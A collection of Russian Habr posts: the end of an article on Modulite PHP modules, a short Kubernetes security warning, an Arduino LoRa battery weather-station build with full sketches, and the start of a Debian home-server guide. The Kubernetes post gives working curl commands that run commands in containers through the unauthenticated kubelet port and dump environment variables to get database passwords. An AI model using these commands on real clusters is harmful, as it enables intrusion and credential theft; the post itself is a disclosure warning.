Главная цель Modulite — зафиксировать текущую энтропию монолита и не позволить ей бесконтрольно увеличиваться. Зафиксировать со всеми текущими исключениями, которые есть в кодовой базе, — а потом постепенно от них избавляться, распутывая монолит. Для этого нужны два направления: внутрь (export) и наружу (require). Так уж вышло, что подобная задача на самом деле выражается через модули, поэтому мы сделали модули с примесями исключений. И спроектировано всё отталкиваясь от того, как можно влезть в IDE.
Визуализация в IDE — это и правда важно, на самом деле это главное для реального использования. Плюс файлики под Git’ом контролируются именно теми code owners, в чьём коде они лежат, а не одним общим стационарным конфигом. Это важно при настройке прав мержа веток.
Deptrac — это про архитектурные слои (ха-ха, будто бы в клубке монолита с бесконечной цикломатичностью есть слои). Условно, описать «контроллеры не могут лезть в модели», оперируя неймспейсами и классами по маске (вот это с помощью модулей как раз не опишешь). Это не про internal, не про явные зависимости и уж тем более не про замену Composer’а в плане изоляции кода. Deptrac скорее про некоторые «разрешённые паттерны вызовов». Если уж сравнивать, то Deptrac больше похож на цвета, чем на модульность.
Modulite + цвета
----------------
Про концепцию цветных функций [я тоже уже писал](https://habr.com/ru/company/vk/blog/691828/).
Главное отличие — для цветов не сделать плагин для IDE, потому что там нужен полный call graph, цвета смешиваются сквозь произвольные цепочки вызовов. А в модульности для любой проверки нужны всего два ребра, заранее проиндексированные. И мы можем за О(1) проверять совместимость — это уже легко вписывается в PHPStorm и PHPStan.
В общем, цвета — это более гибкая и красивая концепция. А Modulite — более практичная.
Modulite + этимология
---------------------
Расскажу, почему Modulite называется именно так :)
Я недолюбливаю слово «модуль», оно слишком общее и встречается везде. Не хочется, чтобы наши модули путали с JS-модулями, с Composer-модулями и так далее. Так что искали какое-то похожее, но в то же время уникальное название. И чтобы была связь с монолитом — всё-таки модули прежде всего для него.
**Модулит — это модуль внутри монолита.** Можно говорить и «модуль», считаем это синонимами.
Modulite + вы
-------------
Естественно, все наши наработки лежат на GitHub.
Во-первых, ставим плагин в IDE [вот отсюда](https://vkcom.github.io/modulite/install.html).
Во-вторых, скачиваем репу [modulite-example-project](https://github.com/VKCOM/modulite-example-project). Это PHP-проектик, чтобы посмотреть концепцию на примере. Он содержит несколько ошибок, которые видны и в IDE, и в PHPStan, и в KPHP. Можно открыть, разобраться, в чём ошибки, починить — в общем, исправить косяки Месси и Адама.
И поскроллить [большой красивый лендос](https://vkcom.github.io/modulite/) — на нём та же информация, что и в статье, но чуть в другой форме.
Modulite + ссылки
-----------------
> *Подводим итоги: Modulite дополняет язык PHP модулями,
> не вмешиваясь в его синтаксис, а удобно находясь рядом.
> Он подходит как для старта новых проектов, так и чтобы
> зафиксировать состояние монолита и рефакторить итеративно.*
>
>
Продублирую здесь все нужные ресурсы, а также видео с последнего выступления:
* [Видео с HighLoad++: «Честные модули внутри монолита, или Когда Composer не подходит»](https://www.youtube.com/watch?v=X_T3UgFUsw4)
* [Лендинг про Modulite](https://vkcom.github.io/modulite/).
* [Modulite GitHub](https://github.com/VKCOM/modulite).
* [Modulite plugin for PHPStan](https://github.com/VKCOM/modulite-phpstan).
* [modulite-example-project](https://github.com/VKCOM/modulite-example-project).
* [KPHP — наш компилятор](https://github.com/VKCOM/kphp).
* [Чат в телеграме — KPHP (Unofficial)](https://t.me/kphp_chat). Здесь можно задавать любые вопросы. | https://habr.com/ru/post/705998/ | null | ru | null |
# Предостережение для пользователей Kubernetes
Сервис `kubelet`, с которым тесно общается `apiserver`, слушает порт 10250. Этот порт хоть и использует сертификаты, но лишь для шифрования канала, никакой авторизации на нём нет.
Об этой проблеме известно давно, но почему-то никто не считает её серьезной. Ссылки на обсуждения:
* <https://github.com/kubernetes/kubernetes/issues/3168>
* <https://github.com/kubernetes/kubernetes/issues/7965>
* <https://github.com/kubernetes/kubernetes/issues/11816>
Что с этим можно сделать? Практически всё. Без регистрации и sms.
Получить список всех pod'ов:
```
$ curl -sk https://k8s-node-1:10250/runningpods/ | python -mjson.tool
```
Выполнить команду внутри контейнера? Запросто:
```
$ curl -k -XPOST "https://k8s-node-1:10250/run/kube-system/node-exporter-iuwg7/node-exporter" -d "cmd=ls -la /"
```
Получить пароль на базу данных? Проще простого:
```
$ curl -k -XPOST "https://k8s-node-1:10250/run/default/mysql-epg0f/mysql" -d 'cmd=env'
```
Вытащить из неё данные тоже не составит труда. | https://habr.com/ru/post/308628/ | null | ru | null |
# Снова о автономной Arduino-метеостанции на батарейках
Еще донедавна мне не удавалось найти в Интернете любительскую метеостанцию с питанием от батареек. Я имею ввиду бытовую автономную метеостанцию с измерениями параметров в помещении, на улице и отображением информации на дисплее метеостанции. Любители не заморачиваются на этой проблеме, а питают свои автономные девайсы от солнечных батарей, аккумуляторов и т.п. Уточню — проблема касается только одного из узлов метеостанции — базы, а [первые проекты малогабаритных беспроводных автономных выносных датчиков на Ардуино появились 10 лет назад](https://maniacbug.wordpress.com/2011/10/19/sensor-node/). Вместе с тем, промышленные устройства такого плана — бытовые метеостанции, комнатные термостаты годами работают от пары батареек АА и этот факт является той целью, которой хотелось бы достичь.
Это было донедавна. Несколько дней назад меня поразил очередной проект [@Berkseo](https://habr.com/ru/users/Berkseo/ "Автор публикации"), как поражают все его проекты: "[Беспроводная мини погодная станция с e-paper экраном на батарейках](https://habr.com/ru/company/ruvds/blog/543820/)". Тут все на уровне промышленных бытовых метеостанций, за исключением одного момента — в устройстве нет внешнего датчика.
Полтора года назад разместил статью [Автономная метеостанция на контроллере ATMEGA328P и питанием от батареек с беспроводным выносным датчиком](https://habr.com/ru/post/470381/). Хотя прототип и выполнял свои функции, но имел серьезные недостатки — слишком малая частота обновления данных и большое энергопотребление.
Ниже — новая версия метеостанции с другими алгоритмами, элементной базой и кодом с низкоуровневыми вставками. Все это позволило выйти на время работы метеостанции от одного комплекта батареек даже несколько больше, чем гарантируют производители некоторых товаров такого плана.
Что сделано:
Датчики *DHT22* и *DS18B20*, которые использовались в предыдущем проекте, заменены энергосберегающим модулем — это датчик температуры и влажности *HTU21D*. Период измерений, отправки/приема данных уменьшен с 15 мин до 53,5 сек. Сделан переход на устойчивую частоту работы контроллера (8 МГц) при напряжении питания ниже 3 В. Для уменьшения объемов занимаемой памяти в скетчах использованы некоторые функции С/С++. И главное, принципиально изменен алгоритм передачи пакетов с выносного датчика и алгоритм приема этих пакетов базой метеостанции. Теперь для обеспечения надежного приема пакетов с выносного датчика в нем формируется и отправляется с интервалом около 0,3 сек не один, а три пакета с данными о параметрах воздуха на улице и состоянии батареек. Только после отправки третьего пакета контроллер в. датчика вместе с периферией уходит в сон. База метеостанции уходит спать после приема одного из 6-ти пакетов с выносного датчика и просыпается за полсекунды до поступления очередной серии пакетов с выносного датчика.
Метеостанция состоит из двух автономных узлов с питанием от двух батареек AA: базы и выносного датчика. Назовем их для простоты анализатором (по-другому – база) и беспроводным в.датчиком (выносным датчиком).
Анализатор, построен на контроллере *ATMEGA328P*, измеряет температуру и влажность (датчик температуры и влажности *HTU21D*) в помещении, а также измеряет и анализирует величину напряжения питания узла, которое обеспечивают две батарейки АА 1,5 В. На контроллер также поступает сигнал с приемника *LoRa*, который по эфиру принимает информацию с выносного датчика. Вся инфа с контроллера выводится на ЖК-дисплей *NOKIA 5110*.
В в.датчике, тоже собранном на контроллере *ATMEGA328P*, измеряется температура и влажность воздуха на улице (модуль *HTU21D*), а также напряжение питания выносного узла, организованного на двух батарейках АА 1,5 В. Передатчик *LoRa* этого узла передает инфу о температуре, влажности и состоянии батарейки на анализатор. С в.датчика выполняется отправка 3 пакетов с интервалом около 0,3 сек, затем контроллер *ATMEGA328P*, передатчик *LoRa* и модуль *HTU21D* для экономного расходования заряда батареек переводятся в режим сна. Измерения и отправка данных с в.датчика выполняется с циклом несколько меньше 1-ой минуты.
Работа анализатора построена по следующему алгоритму:
Вначале, при включении обоих узлов метеостанции, контроллер анализатора подает команды на измерение температуры и влажности внутри помещения и выводит эти параметры на дисплей, затем устанавливает приемник *LoRa* в режим прослушивания эфира. После приема сигнала с в.датчика и успешной дешифрации принятых данных контролер подает команду на повторное измерение температуры, влажности и выводит инфу в полном объеме на экран. Затем анализатор уходит в сон, просыпаясь примерно за полсекунды до планируемого поступления сигнала с в.датчика. Приняв и дешифровав один из трех пакетов с в.датчика, повторно выполняет свои измерения, выводит информацию на экран и снова уходит спать. Если по каким-то причинам сигнал с в.датчика отсутствует около одной минуты (например, сели батарейки), что по времени соответствует отправке 6 пакетов с в.датчика, анализатор проводит измерения только в помещении, изредка сканируя эфир: а вдруг в.датчик появился в эфире?! Это сделано для того, чтобы постоянно работающий на прием модуль *LoRa* не посадил за короткое время батарейки анализатора.
Для сборки устройства понадобятся радиодетали:
1. Контроллер *ATMEGA328P-PU* — 2 шт.
2. Датчик влажности и температуры *HTU21D/SHT21/Si7021* — 2 шт.
3. ЖК-дисплей *NOKIA 5110* — 1 шт.
4. Приемник-передатчик *LoRa Rа-01* — 2 шт.
5. Макетная плата (стеклотекстолит), монтажные провода, батарейки АА, кварцевые резонаторы 8 МГц, резисторы, конденсаторы, другие мелочи.
Ориентировочная стоимость компонентов по ценам [AliExpress](https://ru.aliexpress.com/) примерно $25.
Для работы с контроллерами *ATMEGA328P* в качестве программатора я использую плату Arduino UNO. На Youtube есть хорошее [видео по установке загрузчика](https://www.youtube.com/watch?v=VIf1WJrF8Hc) и загрузки скетчей в контроллер *ATMEGA328P* с помощью платы Arduino UNO.
На этот раз мы не будем устанавливать новые фьюзы программой *SinaProg*, а воспользуемся, на мой взгляд, более универсальным способом — созданием новых конфигураций плат в платформе *Arduino IDE*.
В новые контроллеры надо установить загрузчик *Arduino as ISP* и надо учитывать то, что контроллеры *ATMEGA328P* поступают в продажу с заводской настройкой фьюз для мониторинга (контроля) напряжения питания не ниже 2,7 В. Мы же будем работать от батареек, напряжение на которых при разряде может быть ниже установленного заводского порога 2,7 В, и с кварцем 8 МГц. Установим загрузчик и изменим фьюзы под наши условия, используя в качестве программатора плату *Arduino UNO*, в такой последовательности:
1. Найти по адресу *c:\Program Files\Arduino\hardware\arduino\avr\* файл *boards.txt* и открыть его текстовом редакторе с форматированием, например, *AkelPad.*
2. Дополнить файл блоком, который приведен под спойлером, и сохранить файл.
**блок установок 1**
##############################################################
amega.name=Mega Low (8 MHz, >1.8V)
amega.upload.tool=avrdude
amega.upload.protocol=arduino
amega.upload.maximum\_size=32256
amega.upload.maximum\_data\_size=2048
amega.upload.speed=57600
amega.bootloader.tool=avrdude
amega.bootloader.low\_fuses=0xFF
amega.bootloader.high\_fuses=0xDA
amega.bootloader.extended\_fuses=0xFE
amega.bootloader.unlock\_bits=0x3F
amega.bootloader.lock\_bits=0x0F
amega.bootloader.file=optiboot/optiboot\_atmega328.hex
amega.build.mcu=atmega328p
amega.build.f\_cpu=8000000L
amega.build.board=AVR\_UNO
amega.build.core=arduino
amega.build.variant=standard
3. В плату *Arduino UNO* загрузить скетч *ArduinoISP.ino* из примеров платформы *Arduino IDE* (**Файл –> Примеры –> ArduinoISP**).
4. Собрать схему (плата *Arduino UNO*, контроллер *ATMEGA328P*, кварц *16 МГц*) для установки в контроллер загрузчика *ArduinoISP* (инструкции – [тут](https://www.youtube.com/watch?v=VIf1WJrF8Hc)), подключить ее компьютеру и записать в контроллер бутлоадер **Arduino as ISP**.
5. Заменить кварц в схеме *16 МГц* на *8 Мгц*. В меню **ИНСТРУМЕНТЫ** выбрать из списка плату **Mega Low (8 MHz, >1.8V)**, которая появилась в меню после дополнения файла *boards.txt* новым блоком, выбрать тут же **Программатор: “Arduino as ISP”** и, нажав **Записать загрузчик** изменить фьюзы и другие установки в контроллере.
6. Далее загружаем в контроллер необходимый скетч, используя ту же схему, что и для установки загрузчика (п.4), через **Скетч –> Загрузить через программатор**.
Выносной датчик
---------------
В.датчик построен на контроллере *ATMEGA328P*. В нем осуществляется прием данных с *HTU21D* по протоколу I2C, измерение и анализ величины напряжения питания узла и управление передатчиком *LoRa*.
**скетч в.датчика**
```
/*
Снова о автономной Arduino-метеостанции на батарейках, выносной датчик
https://habr.com/ru/post/544936/
*/
#include
#include
#include
#include
#include
#include
#include
#include "HTU21D.h"
#define VccHTU 8 //питание и подтяжка HTU21D (pin 14 AtMega328P, D8)
HTU21D myHTU21D;
float Tout; // температура
int Hout; // влажность
unsigned int sleepCounter, sleepCounter0; // счетчик, задающий время сна
int pct; //счетчик числа пакетов перед уходом в сон
String messageOut; // LoRa-сообщение
float BatOut; // напряжение батареек
const int batteryPin = A0; // pin 23 (Atmega328P), к которому подключена батарея для измерения напряжения
const float typVbg = 1.132; //калибровочная константа, 1.0 - 1.2
int counter = 0;
// измерение опорного напряжения
float readVcc() {
byte i;
float result = 0.0;
float tmp = 0.0;
for (i = 0; i < 1; i++) {
// Read 1.1V reference against AVcc
// set the reference to Vcc and the measurement to the internal 1.1V reference
#if defined(\_\_AVR\_ATmega32U4\_\_) || defined(\_\_AVR\_ATmega1280\_\_) || defined(\_\_AVR\_ATmega2560\_\_)
ADMUX = \_BV(REFS0) | \_BV(MUX4) | \_BV(MUX3) | \_BV(MUX2) | \_BV(MUX1);
#elif defined (\_\_AVR\_ATtiny24\_\_) || defined(\_\_AVR\_ATtiny44\_\_) || defined(\_\_AVR\_ATtiny84\_\_)
ADMUX = \_BV(MUX5) | \_BV(MUX0);
#elif defined (\_\_AVR\_ATtiny25\_\_) || defined(\_\_AVR\_ATtiny45\_\_) || defined(\_\_AVR\_ATtiny85\_\_)
ADMUX = \_BV(MUX3) | \_BV(MUX2);
#else
// works on an Arduino 168 or 328
ADMUX = \_BV(REFS0) | \_BV(MUX3) | \_BV(MUX2) | \_BV(MUX1);
#endif
\_delay\_ms(3); // Wait for Vref to settle
ADCSRA |= \_BV(ADSC); // Start conversion
while (bit\_is\_set(ADCSRA, ADSC)); // measuring
uint8\_t low = ADCL; // must read ADCL first - it then locks ADCH
uint8\_t high = ADCH; // unlocks both
tmp = (high << 8) | low;
tmp = (typVbg \* 1023.0) / tmp;
result = result + tmp;
\_delay\_ms(5);
}
return result;
}
void Measurement () {
// измерение температуры и влажности
Hout = myHTU21D.readHumidity();
float Tout\_p = myHTU21D.readTemperature();
Tout = 0.1 \* int(Tout\_p \* 10 + 0.5); //округление до десятых
// измерение напряжения батареек
BatOut = 0.1 \* int(readVcc() \* 10 + 0.5);
if (BatOut < 2.2) {
BatOut = 0.0;
} else {
BatOut = 2.2;
}
}
void SendMessage () {
// отправка данных (температура, влажность, состояние батареек)
if (BatOut > 2.1) {
messageOut = String(Tout) + "#" + String(Hout) + "$" + String("BGood");
}
else {
messageOut = String(Tout) + "#" + String(Hout) + "$" + String("BLow");
}
LoRa.beginPacket();
LoRa.print(messageOut);
LoRa.endPacket();
}
void setup() {
Serial.begin(9600);
Serial.println("Power ON");
analogReference(DEFAULT);
pinMode(VccHTU, OUTPUT);
digitalWrite(VccHTU, 1);
\_delay\_ms(200);
myHTU21D.begin();
int counter = 0;
while (!LoRa.begin(433E6) && counter < 10) {
Serial.println("Не удалось найти LoRa-передатчик!");
counter++;
\_delay\_ms(500);
}
LoRa.setTxPower(4); //мощность передатчика, 2...20 дБ
LoRa.setSyncWord(0xF3);
}
void loop() {
digitalWrite(VccHTU, 1);
if (pct < 3)
{ // измерения, отправка пакетов
Serial.println(messageOut);
Measurement ();
SendMessage ();
} else {// измерения, отправка пакета и длительный сон
Serial.println(messageOut);
Serial.println("sleep ...");
Measurement ();
SendMessage ();
for (sleepCounter = 6; sleepCounter > 0; sleepCounter--)
{
digitalWrite(VccHTU, 0);
digitalWrite(VccHTU, 1);
LoRa.sleep ();
LowPower.powerDown(SLEEP\_8S, ADC\_OFF, BOD\_OFF);
}
pct = 0;
}
pct++;
if (pct >= 3) pct = 3; //защита от переполнения счетчика
}
int main() {
init();
setup();
for (;;) {
loop();
}
}
```
Электрическая схема в.датчика:
[](https://habrastorage.org/webt/66/qa/ew/66qaewodkzib4ytd4zz8jmhqbpc.png)
Питание и подтяжка выводов модуля *HTU21D* осуществляется с пина 14 контроллера *ATMEGA328P*. Это сделано для того, чтобы программно обнулить питание *HTU21D* и перевести этот датчик в режим низкого энергопотребления во время сна.
В в.датчике формируется и отправляется с интервалом около 0,3 сек три пакета с данными о температуре и влажности на улице и состоянии батареек. Если напряжение на батарейках выше установленного порога (2,2 В), то в коде пакета присутствует *BGood*, а ниже — *BLow*. После отправки третьего пакета контроллер в.датчика вместе с периферией уходят в сон. Цикл отправки серий пакетов — 53,5 сек.
### Анализатор
Мозг анализатора – контроллер *ATMEGA328P*. Он принимает сигналы с датчика *HTU21D* по протоколу *I2С* и по *SPI* взаимодействует с приемником *LoRa* и дисплеем *NOKIA 5110*.
**скетч анализатора**
```
/*
Снова о автономной Arduino-метеостанции на батарейках, анализатор
https://habr.com/ru/post/544936/
*/
#include
#include
#include
#include
#include
#include "HTU21D.h"
#include
#define VccHTU 8 //питание и подтяжка HTU21D(pin 14 AtMega328P, D8)
HTU21D myHTU21D;
float Tin; // температура в помещении
int Hin; // влажность в помещении
LCD5110 myNokia(3, 4, 5, 6, 7);
extern uint8\_t SmallFont[];
extern uint8\_t MediumNumbers[];
float BatIn = 0; // напряжение батареи
const int batteryPin = A0; // pin 23(Atmega328P), к которому подключена батарея для измерения напряжения
const float typVbg = 1.132; //калибровочная константа, 1.0 - 1.2
unsigned int sleepCounter; //счетчик, задающий время сна
int r; //счетчик циклов прослушивания эфира
int mlc; //счетчик циклов работы без в.датчика
String LoRaData, Tout\_str, Hout\_str, BatIn\_str, BatOut\_str;
// измерение напряжения батареек
float readVcc() {
byte i;
float result = 0.0;
float tmp = 0.0;
for (i = 0; i < 1; i++) {
// Read 1.1V reference against AVcc
// set the reference to Vcc and the measurement to the internal 1.1V reference
#if defined(\_\_AVR\_ATmega32U4\_\_) || defined(\_\_AVR\_ATmega1280\_\_) || defined(\_\_AVR\_ATmega2560\_\_)
ADMUX = \_BV(REFS0) | \_BV(MUX4) | \_BV(MUX3) | \_BV(MUX2) | \_BV(MUX1);
#elif defined (\_\_AVR\_ATtiny24\_\_) || defined(\_\_AVR\_ATtiny44\_\_) || defined(\_\_AVR\_ATtiny84\_\_)
ADMUX = \_BV(MUX5) | \_BV(MUX0);
#elif defined (\_\_AVR\_ATtiny25\_\_) || defined(\_\_AVR\_ATtiny45\_\_) || defined(\_\_AVR\_ATtiny85\_\_)
ADMUX = \_BV(MUX3) | \_BV(MUX2);
#else
// works on an Arduino 168 or 328
ADMUX = \_BV(REFS0) | \_BV(MUX3) | \_BV(MUX2) | \_BV(MUX1);
#endif
\_delay\_ms(3); // Wait for Vref to settle
ADCSRA |= \_BV(ADSC); // Start conversion
while (bit\_is\_set(ADCSRA, ADSC)); // measuring
uint8\_t low = ADCL; // must read ADCL first - it then locks ADCH
uint8\_t high = ADCH; // unlocks both
tmp = (high << 8) | low;
tmp = (typVbg \* 1023.0) / tmp;
result = result + tmp;
\_delay\_ms(5);
}
return result;
}
void Measurement() {
float Tin0;
// измерение напряжения батареи:
BatIn = readVcc();
// измерение температуры и влажности в помещении
Hin = myHTU21D.readHumidity();
float Tin\_p = myHTU21D.readTemperature();
Tin = 0.1 \* int(Tin\_p \* 10 + 0.5); //округление до десятых
}
void draw() {
myNokia.enableSleep();
myNokia.clrScr();
//Tin
char chr\_Tin [5];
String Tin\_str = String(Tin);
myNokia.setFont(SmallFont);
myNokia.print(" C", LEFT, 0);
myNokia.print("In", LEFT, 8);
myNokia.setFont(MediumNumbers);
Tin\_str.toCharArray(chr\_Tin, 5); //количество знаков+1
myNokia.print(String(chr\_Tin), CENTER, 0);
//Tout
char chr\_Tout [5];
myNokia.setFont(SmallFont);
myNokia.print(" C", LEFT, 16);
myNokia.print("Out", LEFT, 24);
myNokia.setFont(MediumNumbers);
Tout\_str.toCharArray(chr\_Tout, 5);
myNokia.print(String(chr\_Tout), CENTER, 16);
// Hin, Hout
char chr\_Hout [5];
Hout\_str.toCharArray(chr\_Hout, 4);
myNokia.setFont(MediumNumbers);
myNokia.print(String(Hout\_str), RIGHT, 32);
myNokia.setFont(SmallFont);
myNokia.print(" In Out", LEFT, 40);
myNokia.print(" %", LEFT, 32);
myNokia.setFont(MediumNumbers);
myNokia.print(String(Hin), LEFT, 32);
myNokia.setFont(SmallFont);
// Battery Level
if (BatIn < 2.2) {
myNokia.setFont(SmallFont);
myNokia.print("Bat", LEFT, 0);
}
if (BatOut\_str == "BLow") {
myNokia.setFont(SmallFont);
myNokia.print("Bat", LEFT, 16);
}
myNokia.disableSleep();
\_delay\_ms(5);
}
void drawStart() {
myNokia.enableSleep();
myNokia.clrScr();
//Tin
char chr\_Tin [5];
String Tin\_str = String(Tin);
myNokia.setFont(SmallFont);
myNokia.print(" C", LEFT, 0);
myNokia.print("In", LEFT, 8);
myNokia.setFont(MediumNumbers);
Tin\_str.toCharArray(chr\_Tin, 5); //количество знаков+1
myNokia.print(String(chr\_Tin), CENTER, 0);
// Battery Level
if (BatIn < 2.2)
{
myNokia.setFont(SmallFont);
myNokia.print("Bat!", RIGHT, 28);
}
//Hin
myNokia.setFont(SmallFont);
myNokia.print(" %", LEFT, 18);
myNokia.print("In", LEFT, 28);
myNokia.setFont(MediumNumbers);
myNokia.print(String(Hin), CENTER, 18);
//No signal!
myNokia.setFont(SmallFont);
myNokia.print("Out - - -", CENTER, 40);
myNokia.update();
myNokia.disableSleep();
\_delay\_ms(5);
}
void setup() {
Serial.begin(9600);
pinMode(VccHTU, OUTPUT);
digitalWrite(VccHTU, 1);
Serial.println("Power ON!");
analogReference(DEFAULT);
// инициализация дисплея
myNokia.InitLCD();
myNokia.setFont(SmallFont);
myNokia.clrScr();
myNokia.print(">>>>>", CENTER, 20);
myNokia.update();
\_delay\_ms(1000);
myNokia.setFont(SmallFont);
myNokia.clrScr();
myNokia.print("))-->", CENTER, 20);
myNokia.update();
if (!LoRa.begin(433E6)) {
Serial.println("Ошибка загрузки LoRa-приемника!");
while (1);
myNokia.setFont(SmallFont);
myNokia.clrScr();
myNokia.print(" -> ->", CENTER, 20);
myNokia.update();
}
// Диапазон для синхрослова – между "0-0xFF".
LoRa.setSyncWord(0xF3);
Serial.println("Прослушивание эфира. Ожидание пакета с в.датчика ...");
myHTU21D.begin();
Measurement();
drawStart();
digitalWrite(VccHTU, 0);
\_delay\_ms(1000);
myNokia.clrScr();
myNokia.print("Waiting", CENTER, 10);
myNokia.print("Message from", CENTER, 22);
myNokia.print("OUTSIDE", CENTER, 34);
myNokia.update();
}
void loop() {
r++;
digitalWrite(VccHTU, 1);
if (r < 600) // 8 MHz;
{
mlc = 0;
// Прослушивание эфира, прием, дешифрация, если сигнал с в.датчика принят,
// то измерения в помещении, вывод инфы на экран и - в спячку.
{
int packetSize = LoRa.parsePacket();
if (packetSize) {
while (LoRa.available()) {
LoRaData = LoRa.readString();
}
int pos1 = LoRaData.indexOf('#');
int pos2 = LoRaData.indexOf('$');
Tout\_str = LoRaData.substring(0, pos1);
Hout\_str = LoRaData.substring(pos1 + 1, pos2);
BatOut\_str = LoRaData.substring(pos2 + 1, LoRaData.length());
if ((LoRaData).substring(pos1, pos1 + 1) == "#") {
Serial.println("Принято, декодировано! r = " + String(r));
r = 0;
Measurement();
draw();
digitalWrite(VccHTU, 0);
// sleepCounter = 49; 16 MHz
// sleepCounter = 48; 8 MHz
for (sleepCounter = 48; sleepCounter > 0; sleepCounter--)
{
digitalWrite(VccHTU, 1);
LoRa.sleep ();
LowPower.powerDown(SLEEP\_1S, ADC\_OFF, BOD\_OFF);
}
}
}
}
} else {
r = 600;
if (mlc < 250) //4 часа, время работы без датчика
{
Serial.println("Работа без в.датчика.");
LoRa.sleep ();
Measurement();
drawStart();
digitalWrite(VccHTU, 0);
for (sleepCounter = 6; sleepCounter > 0; sleepCounter--)
{
digitalWrite(VccHTU, 1);
LowPower.powerDown(SLEEP\_8S, ADC\_OFF, BOD\_OFF);
}
mlc++;
} else {
r = 0;
mlc = 0;
}
}
\_delay\_ms(110);
}
int main() {
init();
setup();
for (;;) {
loop();
}
}
```
Работа анализатора начинается в *setup'e* с инициализации модулей, измерения параметров воздуха, анализа напряжения на батарейках и вывода этой инфы на дисплей. Далее уже в *loop'e* прослушивается эфир приемником *LoRa*. После приема и дешифрации сигнала с в.датчика повторно проводятся измерения, анализа напряжения на батарейках и вывод измеренной и принятой инфы на дисплей. Выполнив эту работу все элементы схемы уходят поспать примерно на полсекунды меньше, чем период отправки пакетов с в.датчика. В следующем цикле контроллер просыпается и включает приемник приблизительно за 0,5 сек до ожидаемого прихода сигнала с в.датчика. Таким образом, контроллер и периферия анализатора работают с тем же периодом (циклом) что и в.датчик — несколько меньше минуты (53,5 сек), но активны несколько больше времени. Если радиосигнал с в.датчика не поступает на приемник анализатора на протяжении приблизительно одной минуты (это время, достаточное для приема одного из 6 пакетов), то анализатор переходит в режим работы без в.датчика на 4 часа, измеряя параметры воздуха и оценивая состояние батареек только в помещении с индикацией на дисплее этих данных. Период обновления данных в режиме работы без в. датчика — 56,7 сек. В конце четырехчасового цикла работы анализатора без в.датчика он прослушивает эфир: а вдруг в.датчик снова в эфире?
[](https://habrastorage.org/webt/gi/fq/jp/gifqjpez-o4-9sif-shfnxl0yxy.png)
Для перевода модуля *HTU21D* в режим низкого энергопотребления во время сна его питание также, как и в в.датчике, организовано с контроллера *ATMEGA328P* (пин 14).
В целом, на дисплее анализатора видна такая картинка:
Дисплей из-за низкого разрешения и малого размера экрана плотно забит символами. Эта картинка смотрелась бы намного лучше на современном дисплее с электронными чернилами. В будущем в своих проектах буду использовать e-paper дисплей.
### Ресурс батареек и другое
Для расчета срока работы батареек понадобится время и потребляемый ток во время выполнения работы (операционное время) и сна. Операционное время и рабочий ток измерялись с использованием тестовых скетчей, идея которых взята [отсюда](https://maniacbug.wordpress.com/2011/10/19/sensor-node/). Архив с тестовыми скетчами и данными хронометража лежит [здесь](https://drive.google.com/file/d/1weH8Q69v0FB02yd7leKNJprazI69O0QN/view?usp=sharing).
Рабочий ток измерялся с использованием тех же тестовых скетчей. Для исключения разрывов цепи питания или значительного увеличения величины выходного сопротивления батареек можно использовать шунт 3,9...5,6 Ом и параллельно подключенный к нему цифровой мультиметр с механическим переключением в режиме вольтметра на диапазоне 2000 мкВ. Это критично при измерении потребления тока сна анализатора, поскольку разрыв питания или значительное ограничение тока приводят к циклическому ресету анализатора. Да и выносной датчик может переходить в постоянный рестарт. По мере возможности необходимо проверять ток потребления разными способами на разных диапазонах шкал прибора и с батарейками, которые планируется использовать, притом, обязательно без вывода результатов на монитор порта Ардуино. Невыполнение этих правил сказались на результатах измерений тока в предыдущем моем посте на тему метеостанции — в одних случаях они занижены, в других — завышены.
Результаты измерений сведены в таблицу:
| | | |
| --- | --- | --- |
| | в.датчик | анализатор |
| Операционное время функции измерений параметров воздуха, состояния батареек | 0,25 сек | 0,39 сек |
| Операционный ток функции измерений параметров воздуха, состояния батареек | 3,4 мА | 3,5 мА |
| Операционное время функции передачи/приема сигнала | 42 мсек | 83 мсек |
| Операционный ток функции передачи/приема сигнала | 30,0 мА (4 дБ) | 11,5 мА |
| Ток сна | 10 мкА | 190 мкА |
Что бросается в глаза, глядя на эту таблицу. Операционный ток передачи сигнала — 30,0 мА при мощности передатчика LoRa 4 дБ. Для сравнения, заявленный ток передачи для модуля nRF24L01 13,5 мА. Вывод очевиден: надо переходить на nRF24L01.
Средний ток потребления по данным таблицы в. датчика 0,13 мА. Емкости батареек типа АА GP Litium для выносного датчика должно хватить на 2,5 года.
Средний ток потребления анализатора 0,27 мА. Ресурс батареек АА GP Litium в анализаторе — 1,2 года. Для беспроводного комнатного термостата [Computherm Q7RF](https://computherm.com.ua/catalog/computherm-q7-rf-programmiruemyy-radioupravlyaemyy-komnatnyy-termostat), например, срок действия батареек около 1 года. Неплохо! Конечно, хотелось бы сравнить с базой промышленной метеостанции, но производители этого товара не приводят в комплекте документов ресурса батареек.
Материал, который раньше находился на этом месте, в развернутом виде вынесен сюда: [На распутье — Ардуино, Cи или Ассемблер?](https://habr.com/ru/post/547752/) Заходите!
Не буду скромничать, полученный результат — энергопотребление прототипа на уровне промышленных образцов, меня радует, а совершенству нет предела…
И, наконец, искренне благодарю [AlexanderS](https://habr.com/ru/users/alexanders/), который донес до меня идею виртуальной шкалы времени или синхронизации, а также других участников обсуждения статьи «Автономная метеостанция на контроллере ATMEGA328P и питанием от батареек с беспроводным выносным датчиком» за предложения, конструктивную критику и замечания.
Спасибо, кто дочитал. Всем — отличного иммунитета во времена ковида и не только.
### Ссылки по теме
[Узел беспроводного датчика с низким энергопотреблением](https://maniacbug.wordpress.com/2011/10/19/sensor-node/)
[Беспроводная мини погодная станция с e-paper экраном на батарейках](https://habr.com/ru/company/ruvds/blog/543820/)
[Автономная метеостанция на контроллере ATMEGA328P и питанием от батареек с беспроводным выносным датчиком](https://habr.com/ru/post/470381/)
[Превращаем Arduino в полноценный AVRISP программатор](https://habr.com/ru/post/247329/)
[LoRa и сон](http://loranow.com/lora-and-sleep/)
[Узнайте о битах конфигурации ATmega328P и о том, как использовать их с внешним кварцевым резонатором](https://radioprog.ru/post/285)
[Калькулятор фьюзов AVR](https://payalo.at.ua/c_fuse/calc.html?part=ATmega328P)
[Почему многие не любят Arduino](https://habr.com/ru/post/254163/) | https://habr.com/ru/post/544936/ | null | ru | null |
# Домашний сервер Mac Mini на Debian за тридцать минут для чайников
Добрый день, хабраюзер!
Читал много статей по организации домашнего сервера, решил добавить немного пользы.
Недавно разработал для себя универсальный алгоритм по созданию сидбокса с самбой и фтп для домашней сети и решил поделиться с окружающими. Организация такого сервера занимает максимум час, и в принципе подходит под любое железо.
Единственным условием для успешной реализации этого решения: проводной интернет до сервера.
